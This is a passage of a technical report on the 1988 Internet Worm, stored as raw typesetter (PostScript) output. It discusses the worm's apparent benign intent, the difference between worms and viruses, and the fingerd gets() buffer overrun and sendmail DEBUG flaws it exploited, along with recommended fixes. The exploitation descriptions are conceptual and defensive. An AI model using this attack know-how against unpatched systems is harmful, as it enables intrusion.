4772(this,)S
5004(I)S
5674 V
720(can)S
905(conclude)S
1334(with)S
1564(some)S
1830(certainty)S
2247(that)S
2446(if)S
2547(there)S
2799(was)S
3004(only)S
3235(one)S
3428(version)S
3786(of)S
3912(the)S
4081(worm)S
4372(program,)S
5638 V
9 R
4771(3)S
5674 V
11 R
4851(then)S
5804 V
720(it)S
830(was)S
1048(benign)S
1395(in)S
1529(intent.)S
1889(The)S
2107(worm)S
2411(did)S
2599(not)S
2787(write)S
3059(to)S
3192(the)S
3373(\256le)S
3561(system)S
3914(except)S
4246(when)S
4530(transferring)S
5934 V
720(itself)S
973(into)S
1178(a)S
1260(target)S
1543(system.)S
1944(It)S
2045(also)S
2256(did)S
2431(not)S
2606(transmit)S
3001(any)S
3193(information)S
3746(from)S
3993(infected)S
4379(systems)S
4762(to)S
4882(any)S
6064 V
720(site,)S
958(other)S
1240(than)S
1486(copies)S
1822(of)S
1969(the)S
2159(worm)S
2471(program)S
2898(itself.)S
3202(Since)S
3502(the)S
3692(Berkeley)S
4176(Computer)S
4672(Systems)S
6194 V
720(Research)S
1162(Group)S
1485(has)S
1674(already)S
2038(published)S
2509(o)S
2564 H
	(f)show 11 -.5 mul h (\256)show
11 R
2656(cial)S
2857(\256xes)S
3108(to)S
3237(the)S
3414(\257aws)S
3689(exploited)S
4141(by)S
4294(the)S
4471(program,)S
4913(we)S
6324 V
720(do)S
876(not)S
1063(have)S
1315(to)S
1447(worry)S
1753(about)S
2042(these)S
2312(speci\256c)S
2692(attacks)S
3041(being)S
3330(used)S
3576(again.)S
3919(Many)S
4220(vendors)S
4612(have)S
4863(also)S
6434 V
9 Y1
720(3333333333333333)S
6534 V
7 R
820(2)S
6562 V
9 R
900(I)S
961(was)S
1132(invited)S
1413(at)S
1509(the)S
1650(last)S
1807(moment,)S
2157(but)S
2304(was)S
2476(unable)S
2748(to)S
2850(attend.)S
3152(I)S
3214(do)S
3336(not)S
3483(know)S
3715(why)S
3902(I)S
3964(was)S
4136(invited)S
4418(or)S
4525(how)S
6672 V
720(my)S
862(name)S
1084(came)S
1301(to)S
1398(the)S
1535(attention)S
1877(of)S
1979(the)S
2116(organizers.)S
6772 V
7 R
820(3)S
6800 V
9 R
900(A)S
993(devious)S
1301(attack)S
1544(would)S
1797(have)S
1996(loosed)S
2260(one)S
2419(version)S
2713(on)S
2832(the)S
2971(net)S
3110(at)S
3204(large,)S
3436(and)S
3595(then)S
3779(one)S
3938(or)S
4042(more)S
4256(special)S
4535(ver-)S
6910 V
720(sions)S
936(on)S
1057(a)S
1128(select)S
1364(set)S
1495(of)S
1601(target)S
1837(machines.)S
2258(No)S
2399(one)S
2560(has)S
2711(coordinated)S
3167(any)S
3328(e)S
3368 H
	(f)show 9 -.5 mul h (f)show
9 R
3423(ort)S
3554(to)S
3655(compare)S
3995(the)S
4135(versions)S
4465(of)S
4570(the)S
7020 V
720(worm)S
980(from)S
1205(di)S
1275 H
	(f)show 9 -.5 mul h (f)show
9 R
1330(erent)S
1560(sites,)S
1793(so)S
1923(such)S
2138(a)S
2228(stratagem)S
2628(would)S
2903(have)S
3123(gone)S
3348(unnoticed.)S
3803(The)S
3993(code)S
4213(and)S
4394(the)S
4555(cir-)S
7130 V
720(cumstances)S
1162(make)S
1384(this)S
9 B
1541(highly)S
9 R
1808(unlikely,)S
2153(but)S
2295(the)S
2432(possibility)S
2834(should)S
3101(be)S
3213(noted)S
3440(if)S
3522(future)S
3764(attacks)S
4041(occur.)S
7920 V
EP
%%Page: 3 4
BP
/slant 0 def
/height 1.000000 def
9 R
9 R
490 V
11 R
2783(- 3 -)S
850 V
720(issued)S
1041(appropriate)S
1585(patches.)S
2020(It)S
2133(now)S
2368(remains)S
2762(to)S
2895(convince)S
3337(the)S
3518(remaining)S
4010(vendors)S
4404(to)S
4537(issue)S
4804(\256xes,)S
980 V
720(and)S
911(users)S
1169(to)S
1288(install)S
1591(them.)S
1240 V
11 B
720(2.)S
869(Terminology)S
1406 V
11 R
970(There)S
1259(seems)S
1562(to)S
1683(be)S
1821(considerable)S
2409(variation)S
2834(in)S
2955(the)S
3125(names)S
3441(applied)S
3800(to)S
3922(the)S
4092(program)S
4499(described)S
4954(in)S
1536 V
720(this)S
921(paper.)S
1265(I)S
1342(use)S
1529(the)S
1704(term)S
11 I
1946(worm)S
11 R
2238(instead)S
2590(of)S
11 I
2722(virus)S
11 R
2983(based)S
3273(on)S
3424(its)S
3570(behavior.)S
4055(Members)S
4510(of)S
4641(the)S
4815(press)S
1666 V
720(have)S
960(used)S
1195(the)S
1363(term)S
11 I
1598(virus)S
11 R
1818(,)S
1880(possibly)S
2282(because)S
2662(their)S
2898(experience)S
3405(to)S
3526(date)S
3743(has)S
3924(been)S
4165(only)S
4396(with)S
4627(that)S
4827(form)S
1796 V
720(of)S
858(security)S
1252(problem.)S
1726(This)S
1969(usage)S
2265(has)S
2458(been)S
2711(reinforced)S
3206(by)S
3363(quotes)S
3697(from)S
3957(computer)S
4417(managers)S
4882(and)S
1926 V
720(programmers)S
1341(also)S
1555(unfamiliar)S
2049(with)S
2282(the)S
2453(terminology.)S
3090(For)S
3281(purposes)S
3709(of)S
3838(clarifying)S
4302(the)S
4474(terminology,)S
2056 V
720(let)S
863(me)S
1030(de\256ne)S
1331(the)S
1498(di)S
1584 H
	(f)show 11 -.5 mul h (f)show
11 R
1651(erence)S
1967(between)S
2364(these)S
2622(two)S
2820(terms)S
3097(and)S
3288(give)S
3510(some)S
3775(citations)S
4181(to)S
4300(their)S
4534(origins:)S
2222 V
970(A)S
11 I
1088(worm)S
11 R
1379(is)S
1493(a)S
1581(program)S
1992(that)S
2197(can)S
2388(run)S
2574(by)S
2724(itself)S
2984(and)S
3182(can)S
3373(propagate)S
3844(a)S
3932(fully)S
4180(working)S
4586(version)S
4949(of)S
2352 V
970(itself)S
1231(to)S
1358(other)S
1623(machines.)S
2138(It)S
2245(is)S
2359(derived)S
2727(from)S
2980(the)S
3154(word)S
11 I
3419(tapeworm)S
11 R
3859(,)S
3927(a)S
4015(parasitic)S
4426(organism)S
4875(that)S
2482 V
970(lives)S
1211(inside)S
1507(a)S
1588(host)S
1805(and)S
1996(saps)S
2218(its)S
2356(resources)S
2801(to)S
2920(maintain)S
3338(itself.)S
2648 V
970(A)S
11 I
1087(virus)S
11 R
1345(is)S
1457(a)S
1543(piece)S
1811(of)S
1940(code)S
2184(that)S
2387(adds)S
2626(itself)S
2885(to)S
3010(other)S
3274(programs,)S
3755(including)S
4210(operating)S
4663(systems.)S
2778 V
970(It)S
1075(cannot)S
1405(run)S
1589(independently\320it)S
2421(requires)S
2811(that)S
3014(its)S
3157(``host'')S
3523(program)S
3932(be)S
4073(run)S
4257(to)S
4381(activate)S
4758(it.)S
4918(As)S
2908 V
970(such,)S
1233(it)S
1329(has)S
1509(a)S
1591(clear)S
1836(analog)S
2162(to)S
2282(biological)S
2756(viruses)S
3101(\320)S
3245(those)S
3511(viruses)S
3856(are)S
4022(not)S
4197(considered)S
4706(alive)S
4954(in)S
3038 V
970(the)S
1141(usual)S
1410(sense;)S
1715(instead,)S
2091(they)S
2317(invade)S
2646(host)S
2867(cells)S
3105(and)S
3300(corrupt)S
3653(them,)S
3938(causing)S
4310(them)S
4566(to)S
4688(produce)S
3168 V
970(new)S
1185(viruses.)S
3334 V
720(The)S
923(program)S
1327(that)S
1525(was)S
1728(loosed)S
2048(on)S
2191(the)S
2358(Internet)S
2731(was)S
2934(clearly)S
3264(a)S
3345(worm.)S
3594 V
11 B
720(2.1.)S
952(Worms)S
3760 V
11 R
970(The)S
1206(concept)S
1613(of)S
1771(a)S
1886(worm)S
2209(program)S
2647(that)S
2879(spreads)S
3274(itself)S
3561(from)S
3841(machine)S
4279(to)S
4432(machine)S
4870(was)S
3890 V
720(apparently)S
1237(\256rst)S
1464(described)S
1938(by)S
2103(John)S
2366(Brunner)S
2780(in)S
2921(1975)S
3196(in)S
3337(his)S
3520(classic)S
3866(science)S
4241(\256ction)S
4577(novel)S
11 I
4875(The)S
4020 V
720(Shockwave)S
1242(Rider)S
11 R
1486(.)S
3984 V
9 R
1514(Brun75)S
4020 V
11 R
1820(He)S
1983(called)S
2280(these)S
2541(programs)S
11 I
2991(tapeworms)S
11 R
3510(that)S
3711(lived)S
3968(``inside'')S
4412(the)S
4583(computers)S
4150 V
720(and)S
918(spread)S
1243(themselves)S
1771(to)S
1897(other)S
2162(machines.)S
2677(In)S
2808(1979-1981,)S
3352(researchers)S
3881(at)S
4000(Xerox)S
4312(PARC)S
4640(built)S
4882(and)S
4280 V
720(experimented)S
1365(with)S
11 I
1610(worm)S
11 R
1910(programs.)S
2434(They)S
2708(reported)S
3121(their)S
3371(experiences)S
3936(in)S
4072(an)S
4225(article)S
4548(in)S
4684(1982)S
4954(in)S
4410 V
11 I
720(Communications)S
1499(of)S
1618(the)S
1785(ACM)S
11 R
2017(.)S
4374 V
9 R
2045(Shoc82)S
4576 V
11 R
970(The)S
1174(worms)S
1507(built)S
1744(at)S
1857(PARC)S
2180(were)S
2425(designed)S
2849(to)S
2969(travel)S
3253(from)S
3501(machine)S
3907(to)S
4028(machine)S
4434(and)S
4627(do)S
4772(useful)S
4706 V
720(work)S
997(in)S
1135(a)S
1235(distributed)S
1758(environment.)S
2426(They)S
2703(were)S
2966(not)S
3159(used)S
3412(at)S
3543(that)S
3760(time)S
4008(to)S
4146(break)S
4440(into)S
4663(systems,)S
4836 V
720(although)S
1139(some)S
1405(did)S
1580(``get)S
1820(away'')S
2156(during)S
2477(the)S
2645(tests.)S
2903(A)S
3017(few)S
3215(people)S
3542(seem)S
3802(to)S
3923(prefer)S
4217(to)S
4338(call)S
4531(the)S
4700(Internet)S
4966 V
720(Worm)S
1053(a)S
11 I
1154(virus)S
11 R
1427(because)S
1825(it)S
1940(was)S
2163(destructive,)S
2725(and)S
2936(they)S
3177(believe)S
3545(worms)S
3896(are)S
4080(non-destructive.)S
4875(Not)S
5096 V
720(everyone)S
1164(agrees)S
1486(that)S
1695(the)S
1873(Internet)S
2257(Worm)S
2582(was)S
2797(destructive,)S
3351(however.)S
3833(Since)S
4122(intent)S
4418(and)S
4621(e)S
4669 H
	(f)show 11 -.5 mul h (f)show
11 R
4736(ect)S
4908(are)S
5226 V
720(sometimes)S
1234(di)S
1320 H
	(f)show 11 -.5 mul h (\256)show
11 R
1412(cult)S
1620(to)S
1749(judge,)S
2064(using)S
2346(those)S
2621(as)S
2755(a)S
2846(naming)S
3219(criterion)S
3633(is)S
3749(clearly)S
4088(insu)S
4272 H
	(f)show 11 -.5 mul h (\256)show
11 R
4364(cient.)S
4647(As)S
4811(such,)S
5356 V
11 I
720(worm)S
11 R
1004(continues)S
1458(to)S
1577(be)S
1713(the)S
1880(clear)S
2124(choice)S
2442(to)S
2561(describe)S
2958(this)S
3151(kind)S
3380(of)S
3504(program.)S
5616 V
11 B
720(2.2.)S
952(Viruses)S
5782 V
11 R
970(The)S
1187(\256rst)S
1406(use)S
1600(of)S
1739(the)S
1921(word)S
11 I
2194(virus)S
11 R
2462(\(to)S
2632(my)S
2821(knowledge\))S
3386(to)S
3520(describe)S
3932(something)S
4439(that)S
4652(infects)S
4992(a)S
5912 V
720(computer)S
1177(was)S
1390(by)S
1543(David)S
1854(Gerrold)S
2237(in)S
2366(his)S
2538(science)S
2901(\256ction)S
3225(short)S
3487(stories)S
3816(about)S
4102(the)S
4278(G.O.D.)S
4641(machine.)S
6042 V
720(These)S
1017(stories)S
1340(were)S
1587(later)S
1817(combined)S
2287(and)S
2482(expanded)S
2938(to)S
3061(form)S
3311(the)S
3482(book)S
11 I
3739(When)S
4025(Harlie)S
4349(Was)S
4575(One)S
11 R
4757(.)S
6006 V
9 R
4785(Gerr72)S
6172 V
11 R
720(A)S
835(subplot)S
1196(in)S
1318(that)S
1519(book)S
1775(described)S
2230(a)S
2314(program)S
2721(named)S
3049(VIRUS)S
3415(created)S
3765(by)S
3911(an)S
4051(unethical)S
4490(scientist.)S
6136 V
9 R
4879(4)S
6172 V
11 R
4961(A)S
6302 V
720(computer)S
1171(infected)S
1560(with)S
1793(VIRUS)S
2160(would)S
2472(randomly)S
2930(dial)S
3131(the)S
3301(phone)S
3605(until)S
3844(it)S
3942(found)S
4234(another)S
4598(computer.)S
6432 V
720(It)S
825(would)S
1138(then)S
1365(break)S
1645(into)S
1855(that)S
2058(system)S
2402(and)S
2598(infect)S
2885(it)S
2986(with)S
3221(a)S
3308(copy)S
3560(of)S
3690(VIRUS.)S
4120(This)S
4355(program)S
4765(would)S
6562 V
720(in\256ltrate)S
1150(the)S
1341(system)S
1704(software)S
2137(and)S
2352(slow)S
2616(the)S
2806(system)S
3168(down)S
3468(so)S
3622(much)S
3922(that)S
4143(it)S
4261(became)S
4650(unusable)S
6692 V
720(\(except)S
1083(to)S
1211(infect)S
1502(other)S
1769(machines\).)S
2289(The)S
2502(inventor)S
2911(had)S
3112(plans)S
3387(to)S
3516(sell)S
3712(a)S
3803(program)S
4217(named)S
4552(VACCINE)S
6822 V
720(that)S
924(could)S
1207(cure)S
1433(VIRUS)S
1801(and)S
1997(prevent)S
2363(infection,)S
2819(but)S
2998(disaster)S
3371(occurred)S
3790(when)S
4065(noise)S
4335(on)S
4483(a)S
4569(phone)S
4875(line)S
6932 V
9 Y1
720(3333333333333333)S
7032 V
7 R
820(4)S
7060 V
9 R
900(The)S
1088(second)S
1386(edition)S
1684(of)S
1807(the)S
1965(book,)S
2216(just)S
2394(published,)S
2815(has)S
2983(been)S
3201(``updated'')S
3654(to)S
3773(omit)S
3987(this)S
4166(subplot)S
4480(about)S
7170 V
720(VIRUS.)S
7920 V
EP
%%Page: 4 5
BP
/slant 0 def
/height 1.000000 def
9 R
9 R
490 V
11 R
2783(- 4 -)S
850 V
720(caused)S
1050(VIRUS)S
1413(to)S
1532(mutate)S
1864(so)S
1995(VACCINE)S
2516(ceased)S
2839(to)S
2958(be)S
3094(e)S
3142 H
	(f)show 11 -.5 mul h (f)show
11 R
3209(ective.)S
1016 V
970(The)S
1176(term)S
11 I
1413(computer)S
1863(virus)S
11 R
2119(was)S
2325(\256rst)S
2534(used)S
2772(in)S
2895(a)S
2980(formal)S
3309(way)S
3528(by)S
3675(Fred)S
3913(Cohen)S
4237(at)S
4353(USC.)S
980 V
9 R
4596(Cohe84)S
1016 V
11 R
4913(He)S
1146 V
720(de\256ned)S
1085(the)S
1261(term)S
1504(to)S
1632(mean)S
1911(a)S
2001(security)S
2390(problem)S
2798(that)S
3005(attaches)S
3399(itself)S
3661(to)S
3789(other)S
4056(code)S
4304(and)S
4504(turns)S
4765(it)S
4868(into)S
1276 V
720(something)S
1221(that)S
1428(produces)S
1865(viruses;)S
2249(to)S
2377(quote)S
2663(from)S
2918(his)S
3089(paper:)S
3404(``We)S
3669(de\256ne)S
3979(a)S
4069(computer)S
4525(`virus')S
4859(as)S
4992(a)S
1406 V
720(program)S
1132(that)S
1338(can)S
1530(infect)S
1820(other)S
2086(programs)S
2541(by)S
2692(modifying)S
3192(them)S
3453(to)S
3580(include)S
3944(a)S
4032(possibly)S
4440(evolved)S
4827(copy)S
1536 V
720(of)S
852(itself.'')S
1246(He)S
1414(claimed)S
1802(the)S
1977(\256rst)S
2190(computer)S
2645(virus)S
2907(was)S
3119(``born'')S
3506(on)S
3658(November)S
4162(3,)S
4287(1983,)S
4577(written)S
4930(by)S
1666 V
720(himself)S
1083(for)S
1243(a)S
1324(security)S
1704(seminar)S
2084(course.)S
1630 V
9 R
2397(5)S
1832 V
11 R
970(The)S
1176(interested)S
1638(reader)S
1945(may)S
2170(also)S
2383(wish)S
2627(to)S
2749(consult)S
3103([Denn88])S
3558(and)S
3752([Dewd85])S
4231(for)S
4395(further)S
4729(discus-)S
1962 V
720(sion)S
937(of)S
1061(the)S
1228(terms.)S
2222 V
11 B
720(3.)S
869(Flaws)S
1177(and)S
1389(Misfeatures)S
2482 V
720(3.1.)S
952(Speci\256c)S
1346(Problems)S
2648 V
11 R
970(The)S
1173(actions)S
1517(of)S
1641(the)S
1808(Internet)S
2181(Worm)S
2494(exposed)S
2886(some)S
3151(speci\256c)S
3519(security)S
3899(\257aws)S
4164(in)S
4283(standard)S
4688(services)S
2778 V
720(provided)S
1149(by)S
1298(BSD-derived)S
1916(versions)S
2321(of)S
2451(U)S
9 R
2530(NIX)S
11 R
2690(.)S
2790(Speci\256c)S
3183(patches)S
3550(for)S
3716(these)S
3980(\257aws)S
4251(have)S
4496(been)S
4741(widely)S
2908 V
720(circulated)S
1193(in)S
1321(days)S
1564(since)S
1832(the)S
2009(worm)S
2308(program)S
2722(attacked)S
3129(the)S
3306(Internet.)S
3750(Those)S
4061(\257aws)S
4336(and)S
4537(patches)S
4908(are)S
3038 V
720(discussed)S
1174(here.)S
3298 V
11 B
720(3.1.1.)S
1035(\256ngerd)S
1405(and)S
1617(gets)S
3464 V
11 R
970(The)S
11 I
1173(finger)S
11 R
1469(program)S
1873(is)S
1980(a)S
2061(utility)S
2359(that)S
2557(allows)S
2877(users)S
3135(to)S
3254(obtain)S
3563(information)S
4116(about)S
4394(other)S
4653(users.)S
4973(It)S
3594 V
720(is)S
846(usually)S
1216(used)S
1469(to)S
1607(identify)S
2001(the)S
2187(full)S
2392(name)S
2681(or)S
2824(login)S
3103(name)S
3392(of)S
3535(a)S
3635(user,)S
3897(whether)S
4300(or)S
4442(not)S
4634(a)S
4733(user)S
4966(is)S
3724 V
720(currently)S
1151(logged)S
1486(in,)S
1636(and)S
1830(possibly)S
2234(other)S
2496(information)S
3052(about)S
3333(the)S
3504(person)S
3833(such)S
4071(as)S
4199(telephone)S
4662(numbers)S
3854 V
720(where)S
1024(he)S
1165(or)S
1294(she)S
1478(can)S
1667(be)S
1807(reached.)S
2243(The)S
11 I
2450(fingerd)S
11 R
2805(program)S
3213(is)S
3324(intended)S
3739(to)S
3862(run)S
4045(as)S
4173(a)S
4258(daemon,)S
4670(or)S
4798(back-)S
3984 V
720(ground)S
1064(process,)S
1453(to)S
1572(service)S
1914(remote)S
2251(requests)S
2643(using)S
2915(the)S
3082(\256nger)S
3371(protocol.)S
3948 V
9 R
3765(Harr77)S
4150 V
11 R
970(The)S
1182(bug)S
1389(exploited)S
1840(to)S
1968(break)S
11 I
2253(fingerd)S
11 R
2614(involved)S
3042(overrunning)S
3621(the)S
3798(bu)S
3908 H
	(f)show 11 -.5 mul h (f)show
11 R
3975(er)S
4102(the)S
4279(daemon)S
4669(used)S
4913(for)S
4280 V
720(input.)S
1043(The)S
1248(standard)S
1654(C)S
1763(library)S
2089(has)S
2269(a)S
2351(few)S
2548(routines)S
2936(that)S
3135(read)S
3356(input)S
3617(without)S
3988(checking)S
4417(for)S
4578(bounds)S
4930(on)S
4410 V
720(the)S
889(bu)S
999 H
	(f)show 11 -.5 mul h (f)show
11 R
1066(er)S
1185(involved.)S
1666(In)S
1792(particular,)S
2274(the)S
11 I
2443(gets)S
11 R
2655(call)S
2848(takes)S
3108(input)S
3370(to)S
3491(a)S
3574(bu)S
3684 H
	(f)show 11 -.5 mul h (f)show
11 R
3751(er)S
3870(without)S
4242(doing)S
4528(any)S
4722(bounds)S
4540 V
720(checking;)S
1179(this)S
1372(was)S
1575(the)S
1742(call)S
1933(exploited)S
2375(by)S
2518(the)S
2685(Worm.)S
4706 V
970(The)S
11 I
1214(gets)S
11 R
1465(routine)S
1851(is)S
2000(not)S
2216(the)S
2425(only)S
2696(routine)S
3082(with)S
3353(this)S
3588(\257aw.)S
3913(The)S
4158(family)S
4520(of)S
4686(routines)S
4836 V
11 I
720(scanf/fscanf/sscanf)S
11 R
1607(may)S
1851(also)S
2083(overrun)S
2478(bu)S
2588 H
	(f)show 11 -.5 mul h (f)show
11 R
2655(ers)S
2837(when)S
3129(decoding)S
3586(input)S
3868(unless)S
4198(the)S
4387(user)S
4624(explicitly)S
4966 V
720(speci\256es)S
1137(limits)S
1429(on)S
1579(the)S
1753(number)S
2128(of)S
2259(characters)S
2740(to)S
2866(be)S
3009(converted.)S
3541(Incautious)S
4038(use)S
4224(of)S
4355(the)S
11 I
4529(sprintf)S
11 R
4858(rou-)S
5096 V
720(tine)S
932(can)S
1130(overrun)S
1517(bu)S
1627 H
	(f)show 11 -.5 mul h (f)show
11 R
1694(ers.)S
1929(Use)S
2146(of)S
2283(the)S
11 I
2463(strcat/strcpy)S
11 R
3059(calls)S
3306(instead)S
3663(of)S
3800(the)S
11 I
3980(strncat/strncpy)S
11 R
4686(routines)S
5226 V
720(may)S
942(also)S
1152(over\257ow)S
1575(their)S
1809(bu)S
1919 H
	(f)show 11 -.5 mul h (f)show
11 R
1986(ers.)S
5392 V
970(Although)S
1423(experienced)S
1987(C)S
2098(programmers)S
2719(are)S
2889(aware)S
3186(of)S
3315(the)S
3487(problems)S
3934(with)S
4168(these)S
4431(routines,)S
4851(they)S
5522 V
720(continue)S
1131(to)S
1250(use)S
1429(them.)S
1743(Worse,)S
2089(their)S
2323(format)S
2648(is)S
2755(in)S
2874(some)S
3139(sense)S
3409(codi\256ed)S
3796(not)S
3970(only)S
4199(by)S
4342(historical)S
4784(inclu-)S
5652 V
720(sion)S
947(in)S
1076(U)S
9 R
1155(NIX)S
11 R
1358(and)S
1559(the)S
1736(C)S
1853(language,)S
2319(but)S
2503(more)S
2771(formally)S
3193(in)S
3323(the)S
3501(forthcoming)S
4088(ANSI)S
4388(language)S
4827(stan-)S
5782 V
720(dard)S
953(for)S
1119(C.)S
1293(The)S
1502(hazard)S
1831(with)S
2066(these)S
2329(calls)S
2568(is)S
2680(that)S
2883(any)S
3079(network)S
3476(server)S
3780(or)S
3909(privileged)S
4392(program)S
4801(using)S
5912 V
720(them)S
973(may)S
1195(possibly)S
1596(be)S
1732(compromised)S
2363(by)S
2506(careful)S
2841(precalculation)S
3494(of)S
3618(the)S
3785(\(in\)appropriate)S
4474(input.)S
6078 V
970(An)S
1143(important)S
1610(step)S
1826(in)S
1951(removing)S
2412(this)S
2612(hazard)S
2942(would)S
3257(be)S
3400(\256rst)S
3612(to)S
3738(develop)S
4125(a)S
4213(set)S
4375(of)S
4506(replacement)S
6208 V
720(calls)S
964(that)S
1172(accept)S
1493(values)S
1816(for)S
1986(bounds)S
2347(on)S
2500(their)S
2743(program-supplied)S
3565(bu)S
3675 H
	(f)show 11 -.5 mul h (f)show
11 R
3742(er)S
3868(arguments.)S
4428(Next,)S
4711(all)S
4863(sys-)S
6338 V
720(tem)S
926(servers)S
1276(and)S
1475(privileged)S
1961(applications)S
2533(should)S
2868(be)S
3012(examined)S
3480(for)S
3649(unchecked)S
4158(uses)S
4389(of)S
4522(the)S
4698(original)S
6468 V
720(calls,)S
994(with)S
1235(those)S
1512(calls)S
1758(then)S
1992(being)S
2281(replaced)S
2695(by)S
2850(the)S
3029(new)S
3256(bounded)S
3679(versions.)S
4150(Note)S
4407(that)S
4616(this)S
4820(audit)S
6598 V
720(has)S
907(already)S
1269(been)S
1516(performed)S
2013(by)S
2165(the)S
2341(group)S
2639(at)S
2760(Berkeley;)S
3228(only)S
3466(the)S
11 I
3642(fingerd)S
11 R
4002(and)S
11 I
4202(timed)S
11 R
4488(servers)S
4839(used)S
6728 V
720(the)S
11 I
904(gets)S
11 R
1131(call,)S
1367(and)S
1575(patches)S
1953(to)S
11 I
2089(fingerd)S
11 R
2457(have)S
2713(already)S
3084(been)S
3340(posted.)S
3738(Appendix)S
4221(C)S
4345(contains)S
4761(a)S
4858(new)S
6838 V
9 Y1
720(3333333333333333)S
6938 V
7 R
820(5)S
6966 V
9 R
900(It)S
983(is)S
1071(probably)S
1419(a)S
1487(coincidence)S
1945(that)S
2108(the)S
2246(Internet)S
2554(Worm)S
2812(was)S
2980(loosed)S
3243(on)S
3361(November)S
3769(2,)S
3865(the)S
4003(eve)S
4157(of)S
4261(this)S
4420(``birth-)S
7076 V
720(day.'')S
7920 V
EP
%%Page: 5 6
BP
/slant 0 def
/height 1.000000 def
9 R
9 R
490 V
11 R
2783(- 5 -)S
850 V
720(version)S
1089(of)S
11 I
1226(fingerd)S
11 R
1590(written)S
1947(speci\256cally)S
2493(for)S
2666(this)S
2872(report)S
3179(that)S
3390(may)S
3625(be)S
3775(used)S
4023(to)S
4156(replace)S
4517(the)S
4698(original)S
980 V
720(version.)S
1104(This)S
1333(version)S
1689(makes)S
2002(no)S
2145(calls)S
2379(to)S
11 I
2498(gets)S
11 R
2675(.)S
1240 V
11 B
720(3.1.2.)S
1035(Sendmail)S
1406 V
11 R
970(The)S
1228(sendmail)S
1714(program)S
2174(is)S
2337(a)S
2474(mailer)S
2843(designed)S
3322(to)S
3497(route)S
3811(mail)S
4096(in)S
4271(a)S
4408(heterogeneous)S
1536 V
720(internetwork.)S
1500 V
9 R
1308(Allm83)S
1536 V
11 R
1620(The)S
1826(program)S
2233(operates)S
2633(in)S
2755(a)S
2839(number)S
3210(of)S
3337(modes,)S
3688(but)S
3865(the)S
4035(one)S
4229(of)S
4356(most)S
4607(interest)S
4966(is)S
1666 V
720(when)S
996(it)S
1097(is)S
1210(operating)S
1663(as)S
1793(a)S
1880(daemon)S
2266(process.)S
2694(In)S
2824(this)S
3024(mode,)S
3336(the)S
3510(program)S
3921(is)S
4035(``listening'')S
4599(on)S
4749(a)S
4837(TCP)S
1796 V
720(port)S
953(\(#25\))S
1246(for)S
1429(attempts)S
1858(to)S
2000(deliver)S
2360(mail)S
2612(using)S
2907(standard)S
3333(Internet)S
3728(protocols,)S
4220(principally)S
4751(SMTP)S
1926 V
720(\(Simple)S
1107(Mail)S
1354(Transfer)S
1762(Protocol\).)S
1890 V
9 R
2199(Post82)S
1926 V
11 R
2483(When)S
2783(such)S
3023(a)S
3110(request)S
3465(is)S
3578(detected,)S
4009(the)S
4182(daemon)S
4568(enters)S
4868(into)S
2056 V
720(a)S
812(dialog)S
1131(with)S
1371(the)S
1549(remote)S
1896(mailer)S
2219(to)S
2348(determine)S
2829(sender,)S
3185(recipient,)S
3639(delivery)S
4041(instructions,)S
4626(and)S
4827(mes-)S
2186 V
720(sage)S
947(contents.)S
2352 V
970(The)S
1195(bug)S
1415(exploited)S
1879(in)S
11 I
2020(sendmail)S
11 R
2472(had)S
2685(to)S
2826(do)S
2991(with)S
3242(functionality)S
3860(provided)S
4306(by)S
4472(a)S
4576(debugging)S
2482 V
720(option)S
1037(in)S
1158(the)S
1327(code.)S
1629(The)S
1834(Worm)S
2149(would)S
2459(issue)S
2714(the)S
11 I
2883(DEBUG)S
11 R
3289(command)S
3757(to)S
11 I
3878(sendmail)S
11 R
4309(and)S
4501(then)S
4724(specify)S
2612 V
720(a)S
807(set)S
968(of)S
1098(commands)S
1613(instead)S
1963(of)S
2094(a)S
2182(user)S
2404(address)S
2772(as)S
2903(the)S
3077(recipient)S
3500(of)S
3631(the)S
3805(message.)S
4277(Normally,)S
4766(this)S
4966(is)S
2742 V
720(not)S
900(allowed,)S
1314(but)S
1494(it)S
1594(is)S
1706(present)S
2060(in)S
2184(the)S
2356(debugging)S
2858(code)S
3102(to)S
3226(allow)S
3508(testers)S
3826(to)S
3950(verify)S
4249(that)S
4452(mail)S
4686(is)S
4798(arriv-)S
2872 V
720(ing)S
902(at)S
1022(a)S
1111(particular)S
1571(site)S
1765(without)S
2143(the)S
2318(need)S
2565(to)S
2693(activate)S
3075(the)S
3251(address)S
3621(resolution)S
4103(routines.)S
4560(The)S
4772(debug)S
3002 V
720(option)S
1045(of)S
1179(sendmail)S
1619(is)S
1735(often)S
2002(used)S
2245(because)S
2632(of)S
2765(the)S
2941(complexity)S
3478(of)S
3611(con\256guring)S
4160(the)S
4336(mailer)S
4658(for)S
4827(local)S
3132 V
720(conditions,)S
1240(and)S
1431(many)S
1708(vendors)S
2088(and)S
2279(site)S
2465(administrators)S
3127(leave)S
3390(the)S
3557(debug)S
3858(option)S
4173(compiled)S
4615(in.)S
3298 V
970(The)S
1188(sendmail)S
1634(program)S
2054(is)S
2177(of)S
2317(immense)S
2763(importance)S
3305(on)S
3464(most)S
3728(Berkeley-derived)S
4536(\(and)S
4779(other\))S
3428 V
720(U)S
9 R
799(NIX)S
11 R
1001(systems)S
1392(because)S
1779(it)S
1883(handles)S
2259(the)S
2434(complex)S
2853(tasks)S
3114(of)S
3246(mail)S
3483(routing)S
3842(and)S
4041(delivery.)S
4502(Yet,)S
4729(despite)S
3558 V
720(its)S
861(importance)S
1390(and)S
1584(wide-spread)S
2154(use,)S
2364(most)S
2615(system)S
2957(administrators)S
3622(know)S
3902(little)S
4141(about)S
4421(how)S
4646(it)S
4744(works.)S
3688 V
720(Stories)S
1081(are)S
1268(often)S
1548(related)S
1900(about)S
2199(how)S
2443(system)S
2804(administrators)S
3488(will)S
3715(attempt)S
4100(to)S
4240(write)S
4519(new)S
4755(device)S
3818 V
720(drivers)S
1062(or)S
1191(otherwise)S
1655(modify)S
2011(the)S
2183(kernel)S
2494(of)S
2623(the)S
2795(OS,)S
3002(yet)S
3174(they)S
3401(will)S
3611(not)S
3790(willingly)S
4228(attempt)S
4597(to)S
4722(modify)S
3948 V
720(sendmail)S
1150(or)S
1274(its)S
1412(con\256guration)S
2031(\256les.)S
4114 V
970(It)S
1074(is)S
1186(little)S
1427(wonder,)S
1821(then,)S
2076(that)S
2279(bugs)S
2525(are)S
2695(present)S
3049(in)S
3173(sendmail)S
3608(that)S
3811(allow)S
4093(unexpected)S
4629(behavior.)S
4244 V
720(Other)S
1008(\257aws)S
1279(have)S
1524(been)S
1769(found)S
2064(and)S
2260(reported)S
2662(now)S
2889(that)S
3092(attention)S
3515(has)S
3699(been)S
3943(focused)S
4321(on)S
4469(the)S
4641(program,)S
4374 V
720(but)S
894(it)S
989(is)S
1096(not)S
